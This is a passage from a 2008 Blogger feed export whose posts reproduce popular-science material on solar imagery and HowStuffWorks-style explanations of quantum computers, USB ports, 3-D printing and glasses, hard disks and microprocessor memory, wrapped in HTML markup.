Spacecraft</a><br />This is a frame from the <a href="http://www.solarviews.com/cap/vss/VSS00021.htm">Feb. 25, 2007 movie</a> of the transit of the Moon across the face of the Sun. This sight was visible only from the STEREO-B spacecraft in its orbit about the sun, trailing behind the Earth. NASA's STEREO mission consists of two spacecraft launched in October, 2006 to study solar storms. The transit started at 1:56 am EST and continued for 12 hours until 1:57 pm EST. STEREO-B is currently about 1 million miles from the Earth, 4.4 times farther away from the Moon than we are on Earth. As the result, the Moon appeared 4.4 times smaller than what we are used to. This is still, however, much larger than, say, the planet Venus appeared when it transited the Sun as seen from Earth in 2004. <i>(Courtesy NASA)</i><br /><br /><a href="http://www.solarviews.com/cap/sun/eruptive.htm"> <img src="http://www.solarviews.com/thumb/sun/eruptive.jpg" alt="Unquiet Sun" align="left" border="1" height="85" hspace="4" width="170" /></a> <a href="http://www.solarviews.com/cap/sun/eruptive.htm" class="ct">The Unquiet Sun</a><br />This sequence of images of the the Sun in ultraviolet light was taken by the Solar and Heliospheric Observatory (SOHO) spacecraft on February 11, 1996 from its unique vantage point at the "L1" gravity neutral point 1 million miles sunward from the Earth. An "eruptive prominence" or blob of 60,000°C gas, over 80,000 miles long, was ejected at a speed of at least 15,000 miles per hour. The gaseous blob is shown to the left in each image. These eruptions occur when a significant amount of cool dense plasma or ionized gas escapes from the normally closed, confining, low-level magnetic fields of the Sun's atmosphere to streak out into the interplanetary medium, or heliosphere. Eruptions of this sort can produce major disruptions in the near Earth environment, affecting communications, navigation systems and even power grids. <i>(Courtesy ESA/NASA)</i><br /><br /><a href="http://www.solarviews.com/cap/sun/eitfexii.htm"> <img src="http://www.solarviews.com/thumb/sun/eitfexii.jpg" alt="Sun" align="left" border="1" height="154" hspace="4" width="170" /></a> <a href="http://www.solarviews.com/cap/sun/eitfexii.htm" class="ct">A New Look at the Sun</a><br />This image of 1,500,000°C gas in the Sun's thin, outer atmosphere (corona) was taken March 13, 1996 by the Extreme Ultraviolet Imaging Telescope onboard the Solar and Heliospheric Observatory (SOHO) spacecraft. Every feature in the image traces magnetic field structures. Because of the high quality instrument, more of the subtle and detail magnetic features can be seen than ever before. <i>(Courtesy ESA/NASA)</i><br /><br /><a href="http://www.solarviews.com/cap/sun/xsun.htm"> <img src="http://www.solarviews.com/thumb/sun/xsun.jpg" alt="X-ray Image of the Sun" align="left" border="1" height="156" hspace="4" width="170" /></a> <a href="http://www.solarviews.com/cap/sun/xsun.htm" class="ct">X-Ray Image</a><br />This is an X-ray image of the Sun obtained on February 21, 1994. The brighter regions are sources of increased X-ray emissions. <i>(Courtesy Calvin J. Hamilton, and Yohkoh)</i><br /><br /><a href="http://www.solarviews.com/cap/sun/halpha.htm"> <img src="http://www.solarviews.com/thumb/sun/halpha.jpg" alt="H-Alpha Solar Disk" align="left" border="1" height="169" hspace="4" width="170" /></a> <a href="http://www.solarviews.com/cap/sun/halpha.htm" class="ct">Solar Disk in H-Alpha</a><br />This is an image of the Sun as seen in <a href="http://www.solarviews.com/eng/terms.htm#h-alpha">H-Alpha</a>. H-Alpha is a narrow wavelength of red light that is emitted and absorbed by the element hydrogen. <i>(Courtesy National Solar Observatory/Sacramento Peak)</i><br /><br /><a href="http://www.solarviews.com/cap/sun/halphafl.htm"> <img src="http://www.solarviews.com/thumb/sun/halphafl.jpg" alt="Solar Flare" align="left" border="1" height="134" hspace="4" width="170" /></a> <a href="http://www.solarviews.com/cap/sun/halphaf1.htm" class="ct">Solar Flare in H-Alpha</a><br />This is an image of a solar flare as seen in <a href="http://www.solarviews.com/eng/terms.htm#h-alpha">H-Alpha</a>. <i>(Courtesy National Solar Observatory/Sacramento Peak)</i><br /><br /><a href="http://www.solarviews.com/cap/sun/sun2.htm"> <img src="http://www.solarviews.com/thumb/sun/sun2.jpg" alt="Magnetic Fields" align="left" border="1" height="170" hspace="4" width="170" /></a> <a href="http://www.solarviews.com/cap/sun/sun2.htm" class="ct">Solar Magnetic Fields</a><br />This image was acquired February 26, 1993. The dark regions are locations of positive magnetic polarity and the light regions are negative magnetic polarity. <i>(Courtesy GSFC NASA)</i><br /><br /><a href="http://www.solarviews.com/cap/sun/sunspot.htm"> <img src="http://www.solarviews.com/thumb/sun/sunspot.jpg" alt="Sunspot" align="left" border="1" height="127" hspace="4" width="170" /></a> <a href="http://www.solarviews.com/cap/sun/sunspot.htm" class="ct">Sun Spots</a><br />This image shows the region around a <a href="http://www.solarviews.com/eng/terms.htm#sunspot">sunspot</a>. Notice the mottled appearance. This granulation is the result of turbulent eruptions of energy at the surface. <i>(Courtesy National Solar Observatory/Sacramento Peak)</i><br /><br /><a href="http://www.solarviews.com/cap/sun/eclips91.htm"> <img src="http://www.solarviews.com/thumb/sun/eclips91.jpg" alt="Solar Eclipse" align="left" border="1" height="136" hspace="4" width="170" /></a> <a href="http://www.solarviews.com/cap/sun/eclips91.htm" class="ct">1991 Solar Eclipse</a><br />This image shows the total solar eclipse of July 11, 1991 as seen from Baja California. It is a digital mosaic derived from five individual photographs, each exposed correctly for a different radius in the solar corona. <i>(Courtesy <a href="http://laps.fsl.noaa.gov/cgi/albers.homepage.cgi">Steve Albers</a>, Dennis DiCicco, and Gary Emerson)</i><br /><br /><a href="http://www.solarviews.com/cap/sun/ha941103.htm"> <img src="http://www.solarviews.com/thumb/sun/ha941103.jpg" alt="Solar Eclipse" align="left" border="1" height="114" hspace="4" width="170" /></a> <a href="http://www.solarviews.com/cap/sun/ha941103.htm" class="ct">1994 Solar Eclipse</a><br />This picture of the 1994 solar eclipse was taken November 3, 1994, as observed by the High Altitude Observatory White Light Coronal camera from Chile. <i>(Courtesy <a href="http://www.hao.ucar.edu/">HAO, NCAR</a>)</i><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6229729557913482776-9014365328978144701?l=sunsofts.blogspot.com' alt='' /></div>sivahttp://www.blogger.com/profile/14913623865795521845noreply@blogger.com0tag:blogger.com,1999:blog-6229729557913482776.post-50040859400211164612008-10-17T15:53:00.000-07:002008-11-04T19:51:50.827-08:00I believe life is constantly testing us for our level of commitment, and life's<br />greatest rewards are reserved for those who demonstrate a never-ending<br />commitment to act until they achieve. This level of resolve can move<br />mountains, but it must be constant and consistent. As simplistic as this may<br />sound, it is still the common denominator separating those who live their<br />dreams from those who live in regret<br /><div style="text-align: center;"><br /></div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6229729557913482776-5004085940021116461?l=sunsofts.blogspot.com' alt='' /></div>sivahttp://www.blogger.com/profile/14913623865795521845noreply@blogger.com0tag:blogger.com,1999:blog-6229729557913482776.post-86647950677096845822008-10-17T15:35:00.000-07:002008-11-04T20:27:36.984-08:00<p>The massive amount of processing power generated by computer manufacturers has not yet been able to quench our thirst for speed and computing capacity. In 1947, American computer engineer <strong>Howard Aiken</strong> said that just six electronic digital <a href="http://computer.howstuffworks.com/">computers</a> would satisfy the computing needs of the United States. Others have made similar errant predictions about the amount of computing power that would support our growing technological needs. Of course, Aiken didn't count on the large amounts of data generated by scientific research, the proliferation of <a href="http://computer.howstuffworks.com/pc.htm">personal computers</a> or the emergence of the <a href="http://computer.howstuffworks.com/internet-channel.htm">Internet</a>, which have only fueled our need for more, more and more computing power. </p><p> Will we ever have the amount of computing power we need or want? If, as <strong>Moore's Law</strong> states, the number of transistors on a <a href="http://computer.howstuffworks.com/microprocessor.htm">microprocessor</a> continues to double every 18 months, the year 2020 or 2030 will find the circuits on a microprocessor measured on an atomic scale. And the logical next step will be to create <strong>quantum computers</strong>, which will harness the power of atoms and molecules to perform <a href="http://computer.howstuffworks.com/computer-memory.htm">memory</a> and processing tasks. Quantum computers have the potential to perform certain calculations significantly faster than any silicon-based computer. </p> <!-- dtl_id=22959 //--> <!-- How Quantum Computers Will Work by Kevin Bonsor and Jonathan Strickland update 4/17/07 --> <img src="http://static.howstuffworks.com/gif/quantum-computer-ch150a.jpg" alt="Bits of Information" /><table class="sideBoxLeft"><tbody><tr><td><div class="titleGray">PC Technologies<br /></div><ul><li><a href="http://computer.howstuffworks.com/fabric-pc.htm">Fabric PC</a><br /></li><li><a href="http://computer.howstuffworks.com/dna-computer.htm">DNA Computers</a><br /></li><li><a href="http://computer.howstuffworks.com/printing-computer.htm">Printable Computers</a><br /></li></ul></td></tr></tbody></table><p>You don't have to go back too far to find the origins of quantum computing. While computers have been around for the majority of the 20th century, quantum computing was first theorized less than 30 years ago, by a physicist at the <a href="http://computer.howstuffworks.com/framed.htm?parent=quantum-computer.htm&amp;url=http://www.anl.gov/">Argonne National Laboratory</a>. <strong>Paul Benioff</strong> is credited with first applying quantum theory to computers in 1981. Benioff theorized about creating a quantum Turing machine. Most digital computers, like the one you are using to read this article, are based on the <strong>Turing Theory</strong>. Learn what this is in the next section.<br /></p><p><br /></p><h1 class="articlePageTitle">Defining the Quantum Computer</h1> <!-- dtl_id=22961 //--> <p> The Turing machine, developed by <strong>Alan Turing</strong> in the 1930s, is a theoretical device that consists of tape of unlimited length that is divided into little squares. Each square can either hold a symbol (1 or 0) or be left blank. A read-write device reads these symbols and blanks, which gives the machine its instructions to perform a certain program. Does this sound familiar? Well, in a <strong>quantum</strong> Turing machine, the difference is that the tape exists in a quantum state, as does the read-write head. This means that the symbols on the tape can be either 0 or 1 or a <strong>superposition</strong> of 0 and 1; in other words the symbols are both 0 and 1 (and all points in between) at the same time. While a normal Turing machine can only perform one calculation at a time, a quantum Turing machine can perform many calculations at once. </p> <table align="right" cellpadding="3" cellspacing="0" width="200"> <tbody><tr><td><span style="font-family:arial,helvetica;"> <center><img src="http://static.howstuffworks.com/gif/quantum-computer-2.jpg" alt="The Bloch sphere is a representation of a qubit, the fundamental building block of quantum computers." /><br /><span style="">Image used under the <a href="http://howstuffworks.com/framed.htm?parent=quantum-computer.htm&amp;url=http://www.gnu.org/licenses/fdl.html">GNU Free Documentation License 1.2</a></span><br /><span style=""><strong>The Bloch sphere is a representation of a qubit, the fundamental building block of quantum computers. </strong></span><br /></center> </span> </td></tr> </tbody></table> <p>Today's computers, like a Turing machine, work by manipulating bits that exist in one of two states: a 0 or a 1. Quantum computers aren't limited to two states; they encode information as quantum bits, or <strong>qubits</strong>, which can exist in superposition. Qubits represent <a href="http://science.howstuffworks.com/atom.htm">atoms</a>, ions, photons or electrons and their respective control devices that are working together to act as <a href="http://computer.howstuffworks.com/computer-memory.htm">computer memory</a> and a <a href="http://computer.howstuffworks.com/microprocessor.htm">processor</a>. Because a quantum computer can contain these multiple states simultaneously, it has the potential to be millions of times more powerful than today's most powerful supercomputers. </p><p> This superposition of qubits is what gives quantum computers their inherent <strong>parallelism</strong>. According to physicist <strong>David Deutsch</strong>, this parallelism allows a quantum computer to work on a million computations at once, while your desktop PC works on one. A 30-qubit quantum computer would equal the processing power of a conventional computer that could run at 10 <strong>teraflops</strong> (trillions of floating-point operations per second). Today's typical desktop computers run at speeds measured in gigaflops (billions of floating-point operations per second). </p><p> Quantum computers also utilize another aspect of quantum mechanics known as <strong>entanglement</strong>. One problem with the idea of quantum computers is that if you try to look at the subatomic particles, you could bump them, and thereby change their value. If you look at a qubit in superposition to determine its value, the qubit will assume the value of either 0 or 1, but not both (effectively turning your spiffy quantum computer into a mundane digital computer). To make a practical quantum computer, scientists have to devise ways of making measurements indirectly to preserve the system's integrity. Entanglement provides a potential answer. In quantum physics, if you apply an outside force to two atoms, it can cause them to become entangled, and the second atom can take on the properties of the first atom. So if left alone, an atom will spin in all directions. The instant it is disturbed it chooses one spin, or one value; and at the same time, the second entangled atom will choose an opposite spin, or value. This allows scientists to know the value of the qubits without actually looking at them. </p><p> Next, we'll look at some recent advancements in the field of quantum computing. </p><p> </p> <span style="font-family:arial,helvetica;"> </span><center><span style="font-family:arial,helvetica;"><span style="color: rgb(0, 0, 153);font-size:78%;" >Qubit Control</span></span></center> <span style="font-family:arial,helvetica;">Computer scientists control the microscopic particles that act as qubits in quantum computers by using <strong>control devices</strong>. </span><p> </p><ul><span style="font-family:arial,helvetica;"><li><strong>Ion traps</strong> use optical or magnetic fields (or a combination of both) to trap ions. </li><li><span style=""><strong>Optical traps</strong> use light waves to trap and control particles. </span></li><span style=""><li><strong>Quantum dots</strong> are made of semiconductor material and are used to contain and manipulate electrons. </li><li><strong>Semiconductor impurities</strong> contain electrons by using "unwanted" atoms found in semiconductor material. </li><li><strong>Superconducting circuits</strong> allow electrons to flow with almost no resistance at very low temperatures. </li></span></span></ul><p> </p><p> <!-- Page Break --> </p> <script language="javascript"> <!-- inPagePlayer(10765); // -->­ </script><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6229729557913482776-8664795067709684582?l=sunsofts.blogspot.com' alt='' /></div>sivahttp://www.blogger.com/profile/14913623865795521845noreply@blogger.com0tag:blogger.com,1999:blog-6229729557913482776.post-84497835680962123592008-10-17T15:29:00.000-07:002008-11-04T20:27:36.985-08:00<h1><span class="articleTitle">How USB Ports Work</span></h1><br /><p> Just about any <a href="http://computer.howstuffworks.com/pc.htm">computer</a> that you buy today comes with one or more <strong>Universal Serial Bus</strong> connectors on the back. These USB connectors let you attach everything from <a href="http://computer.howstuffworks.com/mouse.htm">mice</a> to <a href="http://computer.howstuffworks.com/laser-printer.htm">printers</a> to your computer quickly and easily. The <a href="http://computer.howstuffworks.com/operating-system.htm">operating system</a> supports USB as well, so the installation of the device drivers is quick and easy, too. Compared to other ways of connecting devices to your computer (including <a href="http://computer.howstuffworks.com/parallel-port.htm">parallel ports</a>, <a href="http://computer.howstuffworks.com/serial-port.htm">serial ports</a> and special cards that you install inside the computer's case), USB devices are incredibly simple! </p><p> In this article, we will look at USB ports from both a user and a technical standpoint. You will learn why the USB system is so flexible and how it is able to support so many devices so easily -- it's truly an amazing system! </p><p>Anyone who has been around computers for more than two or three years knows the problem that the Universal Serial Bus is trying to solve -- in the past, connecting devices to computers has been a real headache! </p><ul><li>Printers connected to parallel printer ports, and most computers only came with one. Things like <a href="http://computer.howstuffworks.com/question277.htm">Zip drives</a>, which need a high-speed connection into the computer, would use the <a href="http://computer.howstuffworks.com/parallel-port.htm">parallel port</a> as well, often with limited success and not much speed. <p> </p></li><li>Modems used the <a href="http://computer.howstuffworks.com/serial-port.htm">serial port</a>, but so did some printers and a variety of odd things like <a href="http://computer.howstuffworks.com/pda.htm">Palm Pilots</a> and <a href="http://electronics.howstuffworks.com/digital-camera.htm">digital cameras</a>. Most computers have at most two serial ports, and they are very slow in most cases. <p> </p></li><li>Devices that needed faster connections came with their own cards, which had to fit in a card slot inside the computer's case. Unfortunately, the number of card slots is limited and you needed a Ph.D. to install the software for some of the cards. </li></ul> <p>The goal of USB is to end all of these headaches. The Universal Serial Bus gives you a single, standardized, easy-to-use way to connect up to <strong>127 devices</strong> to a computer.<br /></p><br /><h1 class="articlePageTitle">The USB Process</h1> <!-- dtl_id=8158 //--> <p> When the host powers up, it queries all of the devices connected to the bus and assigns each one an address. This process is called <strong>enumeration</strong> -- devices are also enumerated when they connect to the bus. The host also finds out from each device what type of data transfer it wishes to perform: </p><ul><li><strong>Interrupt</strong> - A device like a mouse or a <a href="http://computer.howstuffworks.com/keyboard.htm">keyboard</a>, which will be sending very little data, would choose the interrupt mode. <p> </p></li><li><strong>Bulk</strong> - A device like a printer, which receives data in one big packet, uses the bulk transfer mode. A block of data is sent to the printer (in 64-byte chunks) and verified to make sure it is correct. <p> </p></li><li><strong>Isochronous</strong> - A streaming device (such as <a href="http://electronics.howstuffworks.com/speaker.htm">speakers</a>) uses the isochronous mode. Data streams between the device and the host in real-time, and there is no error correction. </li></ul> The host can also send commands or query parameters with <strong>control packets</strong>. <p>As devices are enumerated, the host is keeping track of the total bandwidth that all of the isochronous and interrupt devices are requesting. They can consume up to 90 percent of the 480 Mbps of bandwidth that is available. After 90 percent is used up, the host denies access to any other isochronous or interrupt devices. Control packets and packets for bulk transfers use any bandwidth left over (at least 10 percent). </p><p> The Universal Serial Bus divides the available bandwidth into <strong>frames</strong>, and the host controls the frames. Frames contain 1,500 bytes, and a new frame starts every millisecond. During a frame, isochronous and interrupt devices get a slot so they are guaranteed the bandwidth they need. Bulk and control transfers use whatever space is left. The technical links at the end of the article contain lots of detail if you would like to learn more.<br /></p><h1 class="articlePageTitle">USB Features</h1> <!-- dtl_id=32089 //--> <p> The Universal Serial Bus has the following features: </p><ul><li>The computer acts as the <strong>host</strong>. <p> </p></li><li>Up to <strong>127 devices</strong> can connect to the host, either directly or by way of USB hubs. <p> </p></li><li>Individual USB cables can run as long as 5 meters; with hubs, devices can be up to 30 meters (six cables' worth) away from the host. <p> </p></li><li>With USB 2.,the bus has a maximum data rate of <strong>480 megabits per second</strong>. <p> </p></li><li>A USB cable has two wires for power (+5 volts and ground) and a twisted pair of wires to carry the data. <p> </p></li><li>On the power wires, the computer can supply up to 500 milliamps of power at 5 volts. <p> </p></li><li>Low-power devices (such as mice) can draw their power directly from the bus. High-power devices (such as printers) have their own power supplies and draw minimal power from the bus. Hubs can have their own power supplies to provide power to devices connected to the hub. <p> </p></li><li>USB devices are <strong>hot-swappable</strong>, meaning you can plug them into the bus and unplug them any time. <p> </p></li><li>Many USB devices can be put to <strong>sleep</strong> by the host computer when the computer enters a power-saving mode. </li></ul> The devices connected to a USB port rely on the USB cable to carry power and data. <p> </p> <img src="http://static.howstuffworks.com/gif/usb.gif" alt="inside a USB cable" /><br /><!-- <span style="font-size:-2;">Photo courtesy</span><br />--> <span style=""><strong>Inside a USB cable: There are two wires for power -- +5 volts (red) and ground (brown) -- and a twisted pair (yellow and blue) of wires to carry the data. The cable is also shielded.<br /></strong></span><h1 class="articlePageTitle">USB 2.0</h1> <!-- dtl_id=32091 //--> <p> The standard for USB version 2.0 was released in April 2000 and serves as an upgrade for USB 1.1. </p><p> USB 2.0 (<strong>High-speed USB</strong>) provides additional bandwidth for multimedia and storage applications and has a data transmission speed 40 times faster than USB 1.1. To allow a smooth transition for both consumers and manufacturers, USB 2.0 has full forward and backward compatibility with original USB devices and works with cables and connectors made for original USB, too. </p><p> Supporting three speed modes (1.5, 12 and 480 megabits per second), USB 2.0 supports low-bandwidth devices such as <a href="http://computer.howstuffworks.com/keyboard.htm">keyboards</a> and <a href="http://computer.howstuffworks.com/mouse.htm">mice</a>, as well as high-bandwidth ones like high-resolution <a href="http://computer.howstuffworks.com/webcam.htm">Webcams</a>, <a href="http://computer.howstuffworks.com/scanner.htm">scanners</a>, <a href="http://computer.howstuffworks.com/inkjet-printer.htm">printers</a> and high-capacity <a href="http://computer.howstuffworks.com/removable-storage.htm">storage systems</a>. The deployment of USB 2.0 has allowed PC industry leaders to forge ahead with the development of next-generation PC peripherals to complement existing high-performance PCs. The transmission speed of USB 2.0 also facilitates the development of next-generation PCs and applications. In addition to improving functionality and encouraging innovation, USB 2.0 increases the productivity of user applications and allows the user to run multiple PC applications at once or several high-performance peripherals simultaneously. </p><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6229729557913482776-8449783568096212359?l=sunsofts.blogspot.com' alt='' /></div>sivahttp://www.blogger.com/profile/14913623865795521845noreply@blogger.com0tag:blogger.com,1999:blog-6229729557913482776.post-67813854992359300092008-10-17T15:25:00.001-07:002008-11-04T19:35:56.191-08:00<h1 class="mTitle">graphics library</h1> <p class="intro-text">Graphics are what make our computing experience richer. We’ll take a look at graphic components as diverse as 3-D PC glasses and offset printing.</p><h1><span class="articleTitle">How Stereolithography 3-D Layering Works</span></h1><b>Stereolithography</b>, also known as <b>3-D layering or 3-D printing</b>, allows you to create solid, plastic, three-dimensional (3-D) objects from CAD drawings in a matter of hours. Whether you are a mechanical engineer wanting to verify the fit of a part or an inventor looking to create a plastic prototype of an invention, stereolithography gives you a fast, easy way to turn CAD drawings into real objects. <p>3-D printing is a very good example of the age we live in. In the past, it could conceivably take months to prototype a part -- today you can do it hours.<br /></p><br /><h1><span class="articleTitle">How 3-D PC Glasses Work</span></h1><br /><center><a href="http://computer.howstuffworks.com/enlarge-image.htm?terms=3d+pc+glasses&amp;page=0"><img src="http://static.howstuffworks.com/gif/pc-3-d-intro.jpg" alt="E-Dimensional Wireless E-D glasses" border="0" /></a><br /><br /><span style=""><strong>E-Dimensional Wireless E-D Glasses. See more <a href="http://computer.howstuffworks.com/enlarge-image.htm?terms=3d+pc+glasses&amp;page=0">pictures of 3-D PC glasses</a>.</strong></span><br /><span style="">eDimensional, E-D and the eDimensional logos are registered trademarks of eDimensional, Inc. in the U.S. and other countries.</span><br /></center> Only a few years ago, seeing in 3-D meant peering through a pair of <a href="http://science.howstuffworks.com/3-d-glasses.htm">red-and-blue glasses</a>, or trying not to go cross-eyed in front of a page of fuzzy dots. It was great at the time, but 3-D technology has moved on. Scientists know more about <a href="http://computer.howstuffworks.com/eye.htm">how our vision works</a> than ever before, and our computers are more powerful than ever before -- most of us have sophisticated components in our computer that are dedicated to producing realistic graphics. Put those two things together, and you'll see how 3-D graphics have really begun to take off. <p> Most computer users are familiar with 3-D games. Back in the '90s, computer enthusiasts were stunned by the game <a href="http://computer.howstuffworks.com/framed.htm?parent=pc-3-d.htm&amp;url=http://www.mac-archive.com/wolfenstein/" target="_blank">Castle Wolfenstein 3D</a>, which took place in a maze-like castle. It may have been constructed from blocky tiles, but the castle existed in three dimensions -- you could move forward and backward, or hold down the appropriate key and see your viewpoint spin through 360 degrees. Back then, it was revolutionary and quite amazing. Nowadays, gamers enjoy ever more complicated graphics -- smooth, three-dimensional environments complete with realistic lighting and complex simulations of real-life physics grace our screens. But that's the problem -- the screen. The game itself may be in three dimensions, and the player may be able to look wherever he wants with complete freedom, but at the end of the day the picture is displayed on a <a href="http://computer.howstuffworks.com/monitor.htm">computer monitor</a>...and that's a flat surface. </p><p> That's where PC 3-D glasses come in. They're designed to convince your <a href="http://computer.howstuffworks.com/brain.htm">brain</a> that your monitor is showing a real, three-dimensional object. In order to understand quite how this works, we need to know what sort of work our brain does with the information our eyes give it. Once we know about that, we'll be able to understand just how 3-D glasses do their job. </p><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6229729557913482776-6781385499235930009?l=sunsofts.blogspot.com' alt='' /></div>sivahttp://www.blogger.com/profile/14913623865795521845noreply@blogger.com0tag:blogger.com,1999:blog-6229729557913482776.post-66600761210651980962008-10-17T15:16:00.000-07:002008-11-04T20:27:36.985-08:00Well we all use computers and if u want to know how it can store lots of movies and stuff read on....<br /><h1 class="articlePageTitle">Cassette Tape vs. Hard Disk</h1> <!-- dtl_id=7242 //--> <p>Let's look at the big differences between cassette tapes and hard disks: </p><ul><li>The magnetic recording material on a cassette tape is coated onto a thin plastic strip. In a hard disk, the magnetic recording material is layered onto a high-precision aluminum or glass disk. The hard-disk platter is then polished to mirror-type smoothness. <p> </p></li><li>With a tape, you have to fast-forward or reverse to get to any particular point on the tape. This can take several minutes with a long tape. On a hard disk, you can move to any point on the surface of the disk almost instantly. <p> </p></li><li>In a cassette-tape deck, the read/write head touches the tape directly. In a hard disk, the read/write head "flies" over the disk, never actually touching it. <p> </p></li><li>The tape in a cassette-tape deck moves over the head at about 2 inches (about 5.08 cm) per second. A hard-disk platter can spin underneath its head at speeds up to 3,000 inches per second (about 170 mph or 272 kph)! <p> </p></li><li>The information on a hard disk is stored in extremely small magnetic domains compared to a cassette tape's. The size of these domains is made possible by the precision of the platter and the speed of the medium. </li></ul><p>­ Because of these differences, a modern hard disk is able to store an amazing amount of information in a small space. A hard disk can also access any of its information in a fraction of a second.<br /></p><br /><h1 class="articlePageTitle">Capacity and Performance</h1> <!-- dtl_id=31542 //--> <p>A typical desktop machine will have a hard disk with a capacity of between 10 and 40 <a href="http://computer.howstuffworks.com/bytes.htm">gigabytes</a>. Data is stored onto the disk in the form of <strong>files</strong>. A file is simply a named collection of <a href="http://computer.howstuffworks.com/bytes.htm">bytes</a>. The bytes might be the <a href="http://computer.howstuffworks.com/framed.htm?parent=hard-disk.htm&amp;url=http://www.asciitable.com/">ASCII codes</a> for the characters of a text file, or they could be the instructions of a software application for the computer to execute, or they could be the records of a data base, or they could be the pixel colors for a GIF image. No matter what it contains, however, a file is simply a string of bytes. When a program running on the computer requests a file, the hard disk retrieves its bytes and sends them to the <a href="http://computer.howstuffworks.com/microprocessor.htm">CPU</a> one at a time. </p><p> There are two ways to measure the performance of a hard disk: </p><ul><li><strong>Data rate</strong> - The data rate is the number of bytes per second that the drive can deliver to the CPU. Rates between 5 and 40 megabytes per second are common. <p> </p></li><li><strong>Seek time</strong> - The seek time is the amount of time between when the CPU requests a file and when the first byte of the file is sent to the CPU. Times between 10 and 20 milliseconds are common. </li></ul> The other important parameter is the <strong>capacity</strong> of the drive, which is the number of bytes it can hold.<br /><h1 class="articlePageTitle">Inside: Electronics Board</h1> <!-- dtl_id=31544 //--> <p> The best way to understand how a hard disk works is to take a look inside. (Note that <strong>OPENING A HARD DISK RUINS IT</strong>, so this is not something to try at home unless you have a defunct drive.) </p><p> Here is a typical hard-disk drive: </p><p> </p><table align="center" cellpadding="3" cellspacing="0" width="400"> <tbody><tr><td> <center><img src="http://static.howstuffworks.com/gif/hard-disk1.jpg" /><br /></center> </td></tr> </tbody></table> <p><br /></p><p>­It is a sealed aluminum box with controller electronics attached to one side. The electronics control the read/write mechanism and the <a href="http://computer.howstuffworks.com/motor.htm">motor</a> that spins the platters. The electronics also assemble the magnetic domains on the drive into bytes (reading) and turn bytes into magnetic domains (writing). The electronics are all contained on a small board that detaches from the rest of the drive: </p><p> </p> <img src="http://static.howstuffworks.com/gif/hard-disk2.jpg" /><br /><br /><h1 class="articlePageTitle">Inside: Beneath the Board</h1> <!-- dtl_id=37646 //--> <p>Underneath the board are the connections for the motor that spins the platters, as well as a highly-filtered vent hole that lets internal and external air pressures equalize: </p><p> </p><table align="center" cellpadding="3" cellspacing="0" width="400"> <tbody><tr><td> <center><img src="http://static.howstuffworks.com/gif/hard-disk5.jpg" /><br /></center> </td></tr> </tbody></table> <p><br /></p><p> Removing the cover from the drive reveals an extremely simple but very precise interior: </p><p> </p><table align="center" cellpadding="3" cellspacing="0" width="400"> <tbody><tr><td> <center><img src="http://static.howstuffworks.com/gif/hard-disk8.jpg" /><br /></center> </td></tr> </tbody></table> <p><br />In this picture you can see: </p><ul><li>The <strong>platters</strong> - These typically spin at 3,600 or 7,200 rpm when the drive is operating. These platters are manufactured to amazing tolerances and are mirror-smooth (as you can see in this interesting self-portrait of the author... no easy way to avoid that!). <p> </p></li><li>The <strong>arm</strong> - This holds the read/write heads and is controlled by the mechanism in the upper-left corner. The arm is able to move the heads from the hub to the edge of the drive. The arm and its movement mechanism are extremely light and fast. The arm on a typical hard-disk drive can move from hub to edge and back up to 50 times per second -- it is an amazing thing to watch! </li></ul><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6229729557913482776-6660076121065198096?l=sunsofts.blogspot.com' alt='' /></div>sivahttp://www.blogger.com/profile/14913623865795521845noreply@blogger.com0tag:blogger.com,1999:blog-6229729557913482776.post-88235244884783456782008-10-17T15:12:00.000-07:002008-11-04T20:27:36.985-08:00<h1 class="articlePageTitle">Microprocessor Memory</h1> <!-- dtl_id=7574 //--> The previous section talked about the address and data buses, as well as the RD and WR lines. These buses and lines connect either to RAM or ROM -- generally both. In our sample microprocessor, we have an address bus 8 bits wide and a data bus 8 bits wide. That means that the microprocessor can address (2^{<span style="">8</span>}) 256 bytes of memory, and it can read or write 8 bits of the memory at a time. Let's assume that this simple microprocessor has 128 bytes of ROM starting at address 0 and 128 bytes of RAM starting at address 128. <p> </p><table align="center" cellpadding="3" cellspacing="0" width="400"> <tbody><tr><td><span style="font-family:arial,helvetica;"> <center><img src="http://static.howstuffworks.com/gif/microprocessor-rom.jpg" /><br /><!-- <span style="font-size:-2;">Photo courtesy</span><br />--> <span style=""><b>ROM chip</b></span><br /></center> </span> </td></tr> </tbody></table> <p> <a href="http://www.howstuffworks.com/rom.htm">ROM</a> stands for read-only memory. A ROM chip is programmed with a permanent collection of pre-set bytes. The address bus tells the ROM chip which byte to get and place on the data bus. When the RD line changes state, the ROM chip presents the selected byte onto the data bus. </p><p> </p><table align="right" cellpadding="3" cellspacing="0" width="200"> <tbody><tr><td><span style="font-family:arial,helvetica;"> <center><img src="http://static.howstuffworks.com/gif/microprocessor-ram.jpg" /><br /><!-- <span style="font-size:-2;">Photo courtesy</span><br />--> <span style=""><b>RAM chip</b></span><br /></center> </span> </td></tr> </tbody></table> <a href="http://www.howstuffworks.com/ram.htm">RAM</a> stands for random-access memory. RAM contains bytes of information, and the microprocessor can read or write to those bytes depending on whether the RD or WR line is signaled. One problem with today's RAM chips is that they forget everything once the <a href="http://www.howstuffworks.com/power-supply.htm">power</a> goes off. That is why the computer needs ROM. <p> By the way, nearly all computers contain some amount of ROM (it is possible to create a simple computer that contains no RAM -- many <a href="http://www.howstuffworks.com/microcontroller.htm">microcontrollers</a> do this by placing a handful of RAM bytes on the processor chip itself -- but generally impossible to create one that contains no ROM). On a <a href="http://www.howstuffworks.com/pc.htm">PC</a>, the ROM is called the <a href="http://www.howstuffworks.com/bios.htm">BIOS</a> (Basic Input/Output System). When the microprocessor starts, it begins executing instructions it finds in the BIOS. The BIOS instructions do things like test the hardware in the machine, and then it goes to the hard disk to fetch the <b>boot sector</b> (see <a href="http://www.howstuffworks.com/hard-disk.htm">How Hard Disks Work</a> for details). This boot sector is another small program, and the BIOS stores it in RAM after reading it off the disk. The microprocessor then begins executing the boot sector's instructions from RAM. The boot sector program will tell the microprocessor to fetch something else from the hard disk into RAM, which the microprocessor then executes, and so on. This is how the microprocessor loads and executes the entire <a href="http://www.howstuffworks.com/operating-system.htm">operating system</a>. </p><div 